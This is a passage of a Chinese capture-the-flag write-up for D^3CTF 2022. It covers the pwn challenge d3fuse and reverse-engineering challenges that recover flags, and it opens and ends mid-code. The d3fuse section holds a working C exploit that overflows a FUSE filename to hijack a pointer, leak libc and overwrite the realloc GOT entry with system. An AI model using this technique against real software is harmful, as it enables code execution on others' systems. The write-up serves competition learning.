BPF_JMP32_IMM(OP, DST, IMM, OFF) \ ((struct bpf_insn) { \ .code = BPF_JMP32 | BPF_OP(OP) | BPF_K, \ .dst_reg = DST, \ .src_reg = 0, \ .off = OFF, \ .imm = IMM }) /* Unconditional jumps, goto pc + off16 */ #define BPF_JMP_A(OFF) \ ((struct bpf_insn) { \ .code = BPF_JMP | BPF_JA, \ .dst_reg = 0, \ .src_reg = 0, \ .off = OFF, \ .imm = 0 }) /* Relative call */ #define BPF_CALL_REL(TGT) \ ((struct bpf_insn) { \ .code = BPF_JMP | BPF_CALL, \ .dst_reg = 0, \ .src_reg = BPF_PSEUDO_CALL, \ .off = 0, \ .imm = TGT }) /* Function call */ #define BPF_CAST_CALL(x) \ ((u64 (*)(u64, u64, u64, u64, u64))(x)) #define BPF_EMIT_CALL(FUNC) \ ((struct bpf_insn) { \ .code = BPF_JMP | BPF_CALL, \ .dst_reg = 0, \ .src_reg = 0, \ .off = 0, \ .imm = (FUNC) }) /* Raw code statement block */ #define BPF_RAW_INSN(CODE, DST, SRC, OFF, IMM) \ ((struct bpf_insn) { \ .code = CODE, \ .dst_reg = DST, \ .src_reg = SRC, \ .off = OFF, \ .imm = IMM }) /* Program exit */ #define BPF_EXIT_INSN() \ ((struct bpf_insn) { \ .code = BPF_JMP | BPF_EXIT, \ .dst_reg = 0, \ .src_reg = 0, \ .off = 0, \ .imm = 0 }) ``` ### 2.2 d3fuse `Author: xf1les` 程序实现了一个 FUSE 文件系统,`/chroot/mnt`下的文件操作(例如 open,write 等)均由这个程序接管。 远程是一个 shell,已经 chroot 到 /chroot,flag 则位于根目录下。 程序漏洞位于 create 和 rename 调用的 `sub_401D74`函数里面,复制文件名称时存在溢出。 ![title](https://leanote.com/api/file/getImage?fileId=62258e78ab644142b47e8058) ``` struct FILE { char name[32]; int32_t isdir; int32_t length; char *context; }; ``` 漏洞利用主要思路是利用溢出覆盖`context`指针做任意地址读写。因为程序没有开启 PIE 和 FULL RELRO 保护,因此可以泄露和篡改 GOT 表上的 libc 地址。 首先泄露 realloc 地址,创建一个内容为`/usr/bin/cp /flag /chroot/rwdir/flag`的文件。修改其 GOT 表地址为 system,然后往文件写入超长数据,触发程序调用 realloc。漏洞触发后,flag 文件会复制到`/chroot`下,直接读取即可。 ``` #include <unistd.h> #include <stdlib.h> #include <stdio.h> #include <fcntl.h> #include <string.h> int main(){ /* { .name = 'A'*32; .isdir = 0x10101010; .length = 0x1101010; .context = 0x405070; */ char* fpath = "/mnt/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x10\x10\x10\x10\x10\x10\x10\x01pP@\x00"; char* cmd = "/usr/bin/cp /flag /chroot/rwdir/flag"; int fd, r; // call realloc char garbage[0x1000]; memset(garbage, 0x1000, 'A'); fd = open("/mnt/garbage", O_CREAT |O_WRONLY| O_DIRECT); write(fd, garbage, 0x1000); close(fd); fd = open("/mnt/cmd", O_CREAT |O_WRONLY| O_DIRECT); write(fd, cmd, strlen(cmd)); close(fd); // trigger strcpy vuln fd = open(fpath, O_CREAT|O_WRONLY| O_DIRECT); if(fd < 0) perror("open"); close(fd); // leak realloc address fd = open("/mnt/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", O_RDWR | O_DIRECT); unsigned long libc_addr = 0; r = read(fd, &libc_addr, 8); if(r < 0) perror("read"); printf("read: fd=%d, r=%d, libc=%lx\n", fd, r, libc_addr); // calculate system address libc_addr += -0x48bf0; // overwrite realloc GOT address to system lseek(fd, 0, 0); r = write(fd, &libc_addr, 8); if(r < 0) perror("write"); printf("write: fd=%d, r=%d, libc=%lx\n", fd, r, libc_addr); // call system(cmd) fd = open("/mnt/cmd", O_WRONLY| O_DIRECT); write(fd, garbage, 0x1000); close(fd); } ``` ## 3. RE ### 3.1 d3thon `Author: cew` 一开始妄想搞懂so文件的逻辑,后来发现只需搞懂lbc文件各指令的意思就行,可以从bcode.lbc挑一些指令来试,比如执行如下lbc时,输入c就会打印Congratulations,接下来就是单独测试okokok中"FLNPsiCIvICFtzpUAR","OcKUQCYqhwHXfAgGZH","IEKMEDdrPpzpdKy"和"kuhisCvwaXWfqCs"分别干了什么,试出来就是加减xornot这4种 ``` ZOAmcoLkGlAXXqf:start:['kZslMZYnvPBwgdCz:<<- Welcome to 2022 AntCTF & D^3CTF! ->>%nHave fun with L-VM XD%n','oGwDokoxZgoeViFcAF:flag=KezJKhCxGRZnfLCGT','oGwDokoxZgoeViFcAF:cnt1=1','oGwDokoxZgoeViFcAF:cnt2=0','RDDDZUiIKbxCubJEN:SlzIZenHa'] ZOAmcoLkGlAXXqf:xCYMcnARY:['todeVDuRkYSIITaT:50:flag','FLNPsiCIvICFtzpUAR:cnt1:1','OuGFUKNGxNLeHOudCK:cnt1:0:1:RDDDZUiIKbxCubJEN:SlzIZenHa'] ZOAmcoLkGlAXXqf:eESBbgOFy:['todeVDuRkYSIITaT:51:flag','RDDDZUiIKbxCubJEN:xCYMcnARY'] ZOAmcoLkGlAXXqf:MvpQFJv:['todeVDuRkYSIITaT:52:flag','RDDDZUiIKbxCubJEN:eESBbgOFy'] ZOAmcoLkGlAXXqf:YyPvL:['todeVDuRkYSIITaT:53:flag','RDDDZUiIKbxCubJEN:MvpQFJv'] ZOAmcoLkGlAXXqf:LwgekFVjKs:['todeVDuRkYSIITaT:54:flag','RDDDZUiIKbxCubJEN:YyPvL'] ZOAmcoLkGlAXXqf:KQZIhVXm:['todeVDuRkYSIITaT:55:flag','RDDDZUiIKbxCubJEN:LwgekFVjKs'] ZOAmcoLkGlAXXqf:inonLJ:['todeVDuRkYSIITaT:56:flag','RDDDZUiIKbxCubJEN:KQZIhVXm'] ZOAmcoLkGlAXXqf:KNfijt:['todeVDuRkYSIITaT:57:flag','RDDDZUiIKbxCubJEN:inonLJ'] ZOAmcoLkGlAXXqf:aJsEJBOY:['todeVDuRkYSIITaT:97:flag','RDDDZUiIKbxCubJEN:KNfijt'] ZOAmcoLkGlAXXqf:zmbCdHcIA:['todeVDuRkYSIITaT:98:flag','RDDDZUiIKbxCubJEN:aJsEJBOY'] ZOAmcoLkGlAXXqf:ziredrGVr:['todeVDuRkYSIITaT:99:flag','RDDDZUiIKbxCubJEN:zmbCdHcIA'] ZOAmcoLkGlAXXqf:BiWslo:['todeVDuRkYSIITaT:100:flag','RDDDZUiIKbxCubJEN:ziredrGVr'] ZOAmcoLkGlAXXqf:ucIJpr:['todeVDuRkYSIITaT:101:flag','RDDDZUiIKbxCubJEN:BiWslo'] ZOAmcoLkGlAXXqf:XBatISL:['todeVDuRkYSIITaT:102:flag','RDDDZUiIKbxCubJEN:ucIJpr'] ZOAmcoLkGlAXXqf:lCXzgzim:['todeVDuRkYSIITaT:103:flag','RDDDZUiIKbxCubJEN:XBatISL'] ZOAmcoLkGlAXXqf:rEvVmBTEt:['todeVDuRkYSIITaT:104:flag','RDDDZUiIKbxCubJEN:lCXzgzim'] ZOAmcoLkGlAXXqf:hHqeOhjo:['todeVDuRkYSIITaT:105:flag','RDDDZUiIKbxCubJEN:rEvVmBTEt'] ZOAmcoLkGlAXXqf:CvwKdKT:['todeVDuRkYSIITaT:106:flag','RDDDZUiIKbxCubJEN:hHqeOhjo'] ZOAmcoLkGlAXXqf:znvHVCNL:['todeVDuRkYSIITaT:107:flag','RDDDZUiIKbxCubJEN:CvwKdKT'] ZOAmcoLkGlAXXqf:ieLCro:['todeVDuRkYSIITaT:108:flag','RDDDZUiIKbxCubJEN:znvHVCNL'] ZOAmcoLkGlAXXqf:keIlJVzKn:['todeVDuRkYSIITaT:109:flag','RDDDZUiIKbxCubJEN:ieLCro'] ZOAmcoLkGlAXXqf:tFAEDK:['todeVDuRkYSIITaT:110:flag','RDDDZUiIKbxCubJEN:keIlJVzKn'] ZOAmcoLkGlAXXqf:UYtOc:['todeVDuRkYSIITaT:111:flag','RDDDZUiIKbxCubJEN:tFAEDK'] ZOAmcoLkGlAXXqf:VnQWyaNLF:['todeVDuRkYSIITaT:112:flag','RDDDZUiIKbxCubJEN:UYtOc'] ZOAmcoLkGlAXXqf:javUuqb:['todeVDuRkYSIITaT:113:flag','RDDDZUiIKbxCubJEN:VnQWyaNLF'] ZOAmcoLkGlAXXqf:wcWcNCzNkQ:['todeVDuRkYSIITaT:114:flag','RDDDZUiIKbxCubJEN:javUuqb'] ZOAmcoLkGlAXXqf:QNTsxk:['todeVDuRkYSIITaT:115:flag','RDDDZUiIKbxCubJEN:wcWcNCzNkQ'] ZOAmcoLkGlAXXqf:yRhdU:['todeVDuRkYSIITaT:116:flag','RDDDZUiIKbxCubJEN:QNTsxk'] ZOAmcoLkGlAXXqf:YkfYsFoeys:['todeVDuRkYSIITaT:117:flag','RDDDZUiIKbxCubJEN:yRhdU'] ZOAmcoLkGlAXXqf:ccNfb:['todeVDuRkYSIITaT:118:flag','RDDDZUiIKbxCubJEN:YkfYsFoeys'] ZOAmcoLkGlAXXqf:PjEhU:['todeVDuRkYSIITaT:119:flag','RDDDZUiIKbxCubJEN:ccNfb'] ZOAmcoLkGlAXXqf:RTWjB:['todeVDuRkYSIITaT:120:flag','RDDDZUiIKbxCubJEN:PjEhU'] ZOAmcoLkGlAXXqf:sKBxD:['todeVDuRkYSIITaT:121:flag','RDDDZUiIKbxCubJEN:RTWjB'] ZOAmcoLkGlAXXqf:SlzIZenHa:['todeVDuRkYSIITaT:122:flag','RDDDZUiIKbxCubJEN:sKBxD'] ZOAmcoLkGlAXXqf:okokok:['uPapnsSbmeJLjin:flag'] ZOAmcoLkGlAXXqf:okokokok:['FLNPsiCIvICFtzpUAR:flag:1'] ZOAmcoLkGlAXXqf:check:['OuGFUKNGxNLeHOudCK:flag:98:2:RDDDZUiIKbxCubJEN:correct','OuGFUKNGxNLeHOudCK:flag:98:3:RDDDZUiIKbxCubJEN:wrong'] ZOAmcoLkGlAXXqf:correct:['kZslMZYnvPBwgdCz:<<- Congratulations! ->>%n','xddBNpXeLBGnpQgYDy'] ZOAmcoLkGlAXXqf:wrong:['kZslMZYnvPBwgdCz:<<- Wrong! ->>%n','xddBNpXeLBGnpQgYDy'] RDDDZUiIKbxCubJEN:start RDDDZUiIKbxCubJEN:okokok RDDDZUiIKbxCubJEN:okokokok RDDDZUiIKbxCubJEN:check ``` ``` ''' "FLNPsiCIvICFtzpUAR" : "sub" "OcKUQCYqhwHXfAgGZH" : "xor" "IEKMEDdrPpzpdKy" : "add" ''' op = [....][::-1] # 太长了,就是bcode.lbc中okokokok对应的那个list逆序 cmp = -194952731925593882593246917508862867371733438849523064153861650948471779982880938 for operation in op: s_list = operation.split(':') if len(s_list) == 2: cmp = ~cmp else: if s_list[0] == "IEKMEDdrPpzpdKy": cmp -= int(s_list[-1]) elif s_list[0] == "OcKUQCYqhwHXfAgGZH": cmp ^= int(s_list[-1]) elif s_list[0] == "FLNPsiCIvICFtzpUAR": cmp += int(s_list[-1]) else: print("error") from Crypto.Util.number import long_to_bytes print(long_to_bytes(cmp)) ``` FLAG : d3ctf{4729a4a6bbdd4d78c94e6229257af35e} ### 3.2 d3arm `Author: cew` strings一下可以发现RTX v5.5.0的字样,想以此为线索搜索到相应的svd文件还原下地址相应的变量名,但是都没啥用。。 根据"flag is shown below"索引到打印flag的函数 ![title](https://leanote.com/api/file/getImage?fileId=6224b263ab644142b47e7b65) 再根据game_points交叉引用可以发现其他关键函数 ![title](https://leanote.com/api/file/getImage?fileId=6224b2d1ab644142b47e7b6c) 其中gen_flag函数就是生成flag的函数,根据此时分数找到对应数再异或一个数xor_val ![title](https://leanote.com/api/file/getImage?fileId=6224b302ab644142b47e7b6e) 而xor_val又会根据game_points变化 ![title](https://leanote.com/api/file/getImage?fileId=6224b35cab644142b47e7b71) xor_val的初始值是68 ![title](https://leanote.com/api/file/getImage?fileId=6224b385ab644142b47e7b72) ``` xor_val = 68 game_points = 0 flag = [32, 109, 80, 48, 56, 72, 124, 111, 3, 115, 110, 0, 115, 102, 80, 39, 58, 85, 33, 106, 11, 112, 63, 10, 39, 109, 86, 113, 61, 1, 33, 61, 0, 124, 58, 0, 34, 111, 80, 115, 104, 78] flag[0] ^= xor_val while game_points < 42: game_points += 1 xor_val = 0x335E44 >> (8 * (game_points % 3)) if game_points < 42: flag[game_points] ^= xor_val & 0xff print(bytes(flag)) ``` FLAG : d3ctf{81070378ccdfe484a9c3e5c2ec38d3f1c76} ### 3.3 D3MUG `Author: cew` apk音游,apktool解包后 使用il2cppdumper操作assets\bin\Data\Managed\Metadata\global-metadata.dat和lib\arm64-v8a\libil2cpp.so获取dummydll目录,然后根据dummydll目录下的Assembly-CSharp.dll可以获取函数偏移 使用il2cppdumper目录下的ida_py3.py可以还原libil2cpp.so的符号,还原出来后根据关键函数偏移可以分析逻辑 主要点在如下三个地方 ![enter image description here](https://leanote.com/api/file/getImage?fileId=6224aed5ab644142b47e7b4a) ![enter image description here](https://leanote.com/api/file/getImage?fileId=6224aee7ab644142b47e7b4b) ![enter image description here](https://leanote.com/api/file/getImage?fileId=6224aef3ab644142b47e7b4d) 即点击可击打块后 NoteHit -> update -> libd3mug.update,libd3mug.update的参数就是打击块出现在可打击范围的时间,然后去https://osu.ppy.sh/beatmapsets/971464#mania/2034016下载beatmap,根据块数可以判断难度是hard,每一行第3列就是出现时间,把这些时间作为参数传进libd3mug的update函数处理完就得到flag ![title](https://leanote.com/api/file/getImage?fileId=6224b089ab644142b47e7b52) 直接把ida反编译libd3mug的伪代码拿来用就行 ``` #include <stdio.h> #include <stdint.h> #include <stdlib.h> #include <string.h> #define HIDWORD(x) (*((uint32_t*)&(x)+1)) #define LODWORD(x) (*((uint32_t*)&(x))) #define __ROR4__(x, y) ((x << (0x20 - y)) | (x >> y)) uint32_t hit[1608] = {0, 0, 0, 146, 292, 292, 439, 512, 585, 585, 658, 731, 804, 878, 1024, 1170, 1170, 1317, 1463, 1463, 1609, 1682, 1756, 1756, 1902, 2048, 2195, 2341, 2341, 2487, 2634, 2634, 2780, 2853, 2926, 2926, 3073, 3146, 3219, 3219, 3365, 3439, 3512, 3512, 3658, 3804, 3878, 3951, 4024, 4097, 4097, 4243, 4390, 4682, 4682, 4682, 4829, 4975, 4975, 5121, 5195, 5268, 5341, 5414, 5487, 5560, 5560, 5853, 5853, 5999, 6146, 6146, 6292, 6365, 6439, 6439, 6585, 6731, 6731, 6731, 7024, 7024, 7170, 7317, 7317, 7463, 7536, 7609, 7609, 7682, 7756, 7829, 7902, 7902, 7975, 8048, 8121, 8195, 8341, 8487, 8634, 8780, 9073, 9073, 9073, 9219, 9365, 9365, 9512, 9658, 9658, 9804, 9878, 9951, 9951, 10097, 10243, 10243, 10243, 10390, 10463, 10536, 10536, 10682, 10829, 10829, 10975, 11121, 11121, 11268, 11414, 11414, 11560, 11707, 11707, 11853, 11999, 11999, 11999, 12146, 12292, 12292, 12439, 12439, 12585, 12585, 12585, 12731, 12878, 12951, 13024, 13097, 13170, 13170, 13317, 13463, 13463, 13463, 13609, 13756, 13756, 13756, 13902, 14048, 14048, 14195, 14341, 14487, 14634, 14634, 14926, 14926, 14926, 15219, 15219, 15219, 15365, 15365, 15512, 15512, 15658, 15804, 15804, 15951, 16024, 16097, 16097, 16170, 16243, 16317, 16390, 16390, 16536, 16682, 16682, 16829, 16902, 16975, 16975, 17121, 17268, 17268, 17268, 17414, 17560, 17634, 17707, 17780, 17853, 17926, 17999, 18073, 18146, 18146, 18292, 18439, 18439, 18731, 18731, 18731, 18878, 19024, 19024, 19024, 19170, 19243, 19317, 19463, 19609, 19609, 19609, 19756, 19829, 19902, 20048, 20195, 20195, 20341, 20487, 20487, 20634, 20780, 20780, 20926, 21073, 21073, 21219, 21365, 21365, 21365, 21512, 21585, 21658, 21658, 21804, 21951, 21951, 21951, 22097, 22243, 22317, 22390, 22463, 22536, 22536, 22609, 22682, 22756, 22829, 22829, 22975, 23121, 23121, 23268, 23414, 23560, 23707, 23780, 23853, 23926, 23999, 23999, 24073, 24146, 24219, 24292, 24365, 24439, 24512, 24585, 24585, 24731, 24731, 24878, 24878, 24878, 25024, 25170, 25170, 25317, 25390, 25463, 25463, 25609, 25756, 25756, 25756, 25902, 25902, 26048, 26048, 26195, 26195, 26341, 26341, 26414, 26487, 26487, 26560, 26634, 26634, 26780, 26780, 26926, 27219, 27512, 27585, 27658, 27731, 27804, 27804, 28097, 28097, 28390, 28682, 28682, 28975, 29268, 29268, 29560, 29560, 29853, 29853, 30146, 30439, 30439, 30731, 31024, 31024, 31317, 31609, 31609, 31902, 32195, 32195, 32487, 32780, 32780, 32780, 33365, 33365, 33365, 33951, 33951, 34243, 34536, 34536, 34829, 35121, 35121, 35414, 35707, 35707, 35707, 35999, 36292, 36585, 36878, 36878, 37024, 37024, 37170, 37170, 37463, 37463, 37463, 37609, 37756, 37756, 37902, 38048, 38048, 38195, 38341, 38341, 38487, 38634, 38634, 38780, 38926, 39073, 39219, 39365, 39512, 39658, 39804, 39804, 39951, 40097, 40097, 40243, 40390, 40390, 40536, 40682, 40829, 40975, 40975, 41121, 41268, 41414, 41560, 41707, 41853, 41999, 42146, 42146, 42292, 42292, 42439, 42585, 42731, 42731, 42878, 42878, 43024, 43170, 43317, 43317, 43463, 43463, 43609, 43609, 43682, 43756, 43756, 43829, 43902, 43902, 44048, 44048, 44195, 44195, 44341, 44341, 44487, 44560, 44634, 44707, 44780, 44853, 44926, 44999, 45073, 45146, 45219, 45292, 45365, 45439, 45512, 45585, 45658, 45658, 45804, 45951, 45951, 46097, 46243, 46243, 46536, 46536, 46536, 46829, 46829, 46902, 46975, 47121, 47121, 47268, 47414, 47414, 47560, 47634, 47707, 47707, 47853, 47926, 47999, 47999, 48146, 48292, 48292, 48439, 48585, 48585, 48731, 48878, 48878, 49024, 49170, 49170, 49243, 49317, 49463, 49463, 49609, 49756, 49756, 49902, 49975, 50048, 50048, 50121, 50195, 50268, 50341, 50341, 50487, 50487, 50707, 50707, 50926, 50926, 51073, 51219, 51365, 51512, 51512, 51585, 51658, 51804, 51804, 51951, 52097, 52097, 52170, 52243, 52317, 52390, 52390, 52536, 52609, 52682, 52682, 52829, 52975, 52975, 53121, 53268, 53268, 53414, 53560, 53560, 53707, 53853, 53853, 53926, 53999, 54073, 54146, 54146, 54219, 54292, 54365, 54439, 54439, 54512, 54585, 54658, 54731, 54731, 54878, 54878, 55024, 55024, 55024, 55317, 55317, 55317, 55609, 55609, 55609, 55902, 55902, 55902, 56195, 56268, 56341, 56487, 56487, 56634, 56780, 56780, 56926, 56999, 57073, 57073, 57219, 57292, 57365, 57365, 57512, 57658, 57658, 57804, 57951, 57951, 58097, 58243, 58243, 58390, 58536, 58536, 58609, 58682, 58829, 58829, 58975, 59121, 59121, 59268, 59341, 59414, 59414, 59560, 59634, 59707, 59707, 59853, 59926, 59999, 59999, 60073, 60292, 60292, 60439, 60585, 60585, 60731, 60878, 60878, 60951, 61024, 61024, 61170, 61170, 61317, 61317, 61463, 61463, 61463, 61536, 61609, 61609, 61756, 61756, 61902, 61902, 62048, 62048, 62048, 62121, 62195, 62195, 62341, 62341, 62414, 62487, 62560, 62634, 62634, 62780, 62780, 62926, 62926, 63073, 63073, 63219, 63219, 63292, 63365, 63439, 63512, 63512, 63585, 63658, 63731, 63804, 63804, 63878, 63951, 64024, 64097, 64097, 64170, 64243, 64317, 64390, 64390, 64536, 64536, 64609, 64682, 64829, 64975, 65121, 65268, 65414, 65560, 65560, 65707, 65853, 65999, 66146, 66146, 66439, 66585, 66878, 67170, 67317, 67317, 67609, 67902, 68048, 68195, 68341, 68487, 68487, 68780, 68926, 69073, 69219, 69365, 69512, 69658, 69658, 69804, 69951, 70243, 70390, 70536, 70682, 70829, 70829, 71121, 71268, 71560, 71853, 71999, 71999, 72292, 72585, 72731, 72878, 73024, 73170, 73317, 73463, 73609, 73609, 73756, 73975, 74195, 74341, 74341, 74634, 74707, 74780, 74926, 74926, 75073, 75073, 75219, 75219, 75219, 75365, 75512, 75512, 75658, 75658, 75804, 75804, 75804, 75951, 76097, 76097, 76390, 76390, 76390, 76536, 76682, 76682, 76829, 76829, 76975, 76975, 76975, 77268, 77268, 77414, 77560, 77560, 77561, 77707, 77853, 77853, 77999, 77999, 78146, 78146, 78146, 78292, 78439, 78439, 78731, 78732, 78732, 78878, 79024, 79024, 79170, 79171, 79317, 79317, 79463, 79609, 79609, 79756, 79902, 79902, 80048, 80195, 80341, 80341, 80487, 80487, 80634, 80780, 80780, 80926, 80926, 81073, 81073, 81073, 81219, 81365, 81512, 81512, 81658, 81658, 81658, 81951, 81951, 81951, 82097, 82243, 82243, 82390, 82536, 82682, 82682, 82829, 82829, 82829, 82975, 83121, 83121, 83268, 83414, 83414, 83560, 83707, 83853, 83853, 83999, 83999, 83999, 84292, 84292, 84365, 84439, 84512, 84585, 84585, 84731, 84804, 84878, 84878, 84951, 85024, 85097, 85170, 85170, 85317, 85390, 85463, 85463, 85536, 85609, 85682, 85756, 85756, 85829, 85902, 85975, 86048, 86048, 86121, 86195, 86268, 86341, 86341, 86487, 86634, 86634, 86707, 86780, 86853, 86926, 86926, 87073, 87146, 87219, 87219, 87292, 87365, 87439, 87512, 87512, 87658, 87804, 87804, 87878, 87951, 88024, 88097, 88097, 88170, 88243, 88317, 88390, 88390, 88536, 88609, 88682, 88682, 88829, 88975, 88975, 89121, 89121, 89268, 89268, 89414, 89414, 89560, 89560, 89707, 89707, 89853, 89853, 89999, 89999, 90146, 90146, 90292, 90292, 90439, 90439, 90585, 90585, 90731, 90731, 90878, 90878, 91024, 91024, 91170, 91170, 91317, 91317, 91390, 91463, 91536, 91609, 91682, 91756, 91829, 91902, 91975, 92048, 92121, 92195, 92268, 92341, 92634, 92780, 92926, 93219, 93365, 93365, 93365, 93365, 93658, 93658, 93804, 93878, 93951, 93951, 94097, 94243, 94317, 94390, 94463, 94536, 94536, 94682, 94829, 94829, 94975, 95121, 95121, 95268, 95414, 95487, 95560, 95634, 95707, 95707, 95853, 95853, 95999, 95999, 96146, 96292, 96292, 96292, 96439, 96585, 96585, 96658, 96731, 96804, 96878, 96878, 97024, 97170, 97170, 97317, 97390, 97463, 97463, 97609, 97756, 97756, 97829, 97902, 98048, 98048, 98048, 98195, 98341, 98341, 98487, 98560, 98634, 98634, 98780, 98926, 98926, 99073, 99219, 99219, 99365, 99512, 99512, 99658, 99804, 99804, 99951, 100097, 100170, 100243, 100317, 100390, 100390, 100536, 100682, 100682, 100829, 100975, 100975, 100975, 101121, 101268, 101268, 101341, 101414, 101487, 101560, 101560, 101707, 101853, 101853, 101926, 101999, 102073, 102146, 102146, 102292, 102439, 102439, 102439, 102585, 102658, 102731, 102731, 102878, 103024, 103024, 103024, 103170, 103243, 103317, 103317, 103317, 103463, 103609, 103682, 103756, 103829, 103902, 103902, 104048, 104195, 104195, 104341, 104487, 104487, 104487, 104634, 104780, 104853, 104926, 104999, 105073, 105073, 105219, 105365, 105365, 105512, 105658, 105658, 105658, 105804, 105951, 105951, 106097, 106170, 106243, 106243, 106317, 106390, 106536, 106536, 106682, 106756, 106829, 106829, 106829, 106975, 107121, 107121, 107268, 107268, 107414, 107414, 107414, 107560, 107707, 107707, 107707, 107853, 107999, 107999, 107999, 108146, 108292, 108292, 108439, 108585, 108585, 108731, 108878, 108878, 108878, 109024, 109170, 109170, 109317, 109463, 109463, 109536, 109609, 109682, 109756, 109756, 109902, 110048, 110048, 110048, 110195, 110195, 110341, 110341, 110341, 110487, 110487, 110634, 110634, 110634, 110780, 110780, 110926, 110926, 110926, 111073, 111073, 111219, 111219, 111219, 111365, 111512, 111658, 111731, 111804, 111878, 111951, 112024, 112097, 112097, 112097, 112390, 112390, 112536, 112682, 112682, 112682, 112829, 112975, 112975, 113121, 113268, 113268, 113414, 113560, 113560, 113707, 113853, 113853, 113999, 114146, 114219, 114292, 114365, 114439, 114439, 114585, 114731, 114731, 114878, 115024, 115024, 115024, 115170, 115317, 115317, 115463, 115536, 115609, 115609, 115756, 115902, 115902, 115975, 116048, 116121, 116195, 116195, 116268, 116341, 116414, 116487, 116487, 116560, 116634, 116707, 116780, 116780, 116926, 117073, 117073, 117219, 117365, 117365, 117512, 117658, 117658, 117804, 117878, 117951, 117951, 118097, 118243, 118243, 118390, 118536, 118536, 118682, 118829, 118902, 118975, 119048, 119121, 119121, 119268, 119414, 119414, 119560, 119707, 119707, 119853, 119999, 119999, 120146, 120292, 120292, 120439, 120439, 120731, 121024, 121170, 121463, 121536, 121609, 121682, 121756, 121756, 121756, 121902, 122048, 122048, 122048, 122195, 122341, 122341, 122341, 122487, 122560, 122634, 122634, 122634, 122780, 122926, 122926, 122926, 123073, 123219, 123219, 123219, 123365, 123512, 123512, 123512, 123585, 123658, 123731, 123804, 123804, 123804, 123951, 124097, 124097, 124097, 124243, 124390, 124390, 124390, 124536, 124682, 124682, 124682, 124829, 124975, 124975, 124975, 125121, 125268, 125268, 125268, 125414, 125487, 125560, 125560, 125560, 125707, 125853, 125853, 125853, 125999, 126146, 126146, 126146, 126292, 126439, 126439, 126439, 126585, 126585, 126731, 126731, 126878, 126878, 127024, 127024, 127024, 127170, 127170, 127317, 127317, 127463, 127463, 127609, 127609, 127609, 127756, 127756, 127902, 127902, 128048, 128048, 128195, 128195, 128268, 128341, 128341, 128414, 128487, 128487, 128560, 128634, 128707, 128780, 128780, 128853, 128926, 128999, 129073, 129146, 129219, 129292, 129365, 129365, 129439, 129512, 129585, 129658, 129731, 129804, 129878, 129951, 129951, 130024, 130097, 130170, 130243, 130243, 130317, 130390, 130463, 130536, 130536, 130682, 130756, 130829, 130829, 130829, 130975, 130975, 131121, 131195, 131268, 131341, 131560, 131707, 131707, 131780, 131853, 131926, 132146, 132292, 132365, 132439, 132512, 132731, 132878, 132878, 132951, 133024, 133097, 133463, 133463, 133756, 134048, 134048, 134048, 134341, 134634, 134634, 134926, 134926, 135219, 135219, 135219, 135512, 135512, 135658, 135658, 135804, 135804, 135951, 135951, 136097, 136097, 136243, 136243, 136390, 136390, 136536, 136536, 136609, 136682, 136682, 136829, 136829, 136902, 136975, 136975, 137121, 137121, 137268, 137268, 137414, 137414, 137560, 137560, 137707, 137707, 137780, 137853, 137926, 137999, 137999, 138073, 138146, 138146, 138219, 138292, 138365, 138439, 138439, 138512, 138585, 138658, 138731, 138731, 138804, 138878, 138951, 139024, 139024, 139097, 139170, 139243, 139317, 139317, 139463, 139463, 139609, 139609, 139756, 139756, 139902, 139902, 140195, 140195, 140195, 140195}; void run(uint8_t *arg, char a2){ uint64_t v8 = 0; uint32_t *v9 = 0; uint64_t v10, v14, v11, v12, v13, v15; uint64_t v2 = *(uint64_t *)(arg + 5032); uint8_t* v3 = arg + 40; uint32_t v4 = (v2 + 1) % 0x270u; uint64_t* v5 = (uint64_t *)(arg + 40 + 8 * v4); *(uint64_t *)(arg + 40 + 8 * v2) = (0x9908B0DF * (*v5 & 1)) ^ *(uint64_t *)(arg + 40 + 8 * ((v2 + 397) % 0x270uLL)) ^ ((*v5 & 0x7FFFFFFE | *(uint64_t *)(arg + 40 + 8 * v2) & 0xFFFFFFFF80000000) >> 1); uint64_t v6 = *(uint64_t *)(arg + 40 + 8 * *(uint64_t *)(arg + 5032)); *(uint64_t *)(arg + 5032) = v4; uint64_t v7 = (((unsigned int)(v6 >> 11) ^ (unsigned int)v6) << 7) & 0x9D2C5680 ^ (unsigned int)(v6 >> 11) ^ v6; if ( (((uint32_t)v7 << 15) & 0xEFC60000 ^ v7 ^ ((((uint32_t)v7 << 15) & 0xEFC60000 ^ v7) >> 18)) % 7 >= 3 ) { v8 = (uint16_t)(v4 + 1) % 0x270; *v5 = (0x9908B0DF * (*(uint64_t *)(v3 + 8 * (unsigned int)v8) & 1LL)) ^ *(uint64_t *)(v3 + 8 * ((uint16_t)(v4 + 397) % 0x270)) ^ ((*(uint64_t *)(v3 + 8 * (unsigned int)v8) & 0x7FFFFFFELL | *v5 & 0xFFFFFFFF80000000LL) >> 1); v9 = (uint32_t *)(arg + (a2 & 0xF)); v10 = *(uint64_t *)(v3 + 8 * *(uint64_t *)(arg + 5032)); *(uint64_t *)(arg + 5032) = v8; v11 = *v9; v12 = v9[1]; v8 = v9[2]; v13 = v9[3]; *v9 = v8; v9[1] = v13; v14 = (((((unsigned int)(v10 >> 11) ^ (unsigned int)v10) << 7) & 0x9D2C5680 ^ (unsigned int)(v10 >> 11) ^ (unsigned int)v10) << 15) & 0xEFC60000 ^ (((unsigned int)(v10 >> 11) ^ (unsigned int)v10) << 7) & 0x9D2C5680 ^ (unsigned int)(v10 >> 11) ^ v10; HIDWORD(v15) = v8 ^ (v14 >> 18) ^ v14; LODWORD(v15) = HIDWORD(v15); LODWORD(v14) = v15 >> 19; v9[2] = v14 ^ v11; v9[3] = v12 ^ __ROR4__(v13, 18) ^ v14; } } int main(){ uint8_t data[] = {0x3C, 0xAC, 0x92, 0x6F, 0x44, 0xA1, 0xC1, 0x17, 0xFD, 0x62, 0x60, 0xDD, 0x63, 0xF8, 0xE3, 0x2A, 0x5E, 0x75, 0x78, 0xBE, 0x59, 0x46, 0x33, 0xF6, 0x2E, 0x64, 0x61, 0x8A, 0x27, 0x93, 0x21, 0x7D}; uint64_t v1 = 5489; uint32_t v2 = 6; uint8_t *weird = (uint8_t*)malloc(0x13B0); memset(weird, 0, 0x13b0); memcpy(weird, data, 32); do { v1 = (unsigned int)v2 + 0x6C078965 * ((unsigned int)(v1 >> 30) ^ (unsigned int)v1) - 5; *(uint64_t *)(weird + 8 * v2++) = v1; } while ( v2 != 629 ); uint64_t v3 = 0xF44EB78E; uint32_t v4 = 6; *(uint64_t *)(weird + 40) = 0xF44EB78E; do { v3 = (unsigned int)v4 + 0x6C078965 * ((unsigned int)(v3 >> 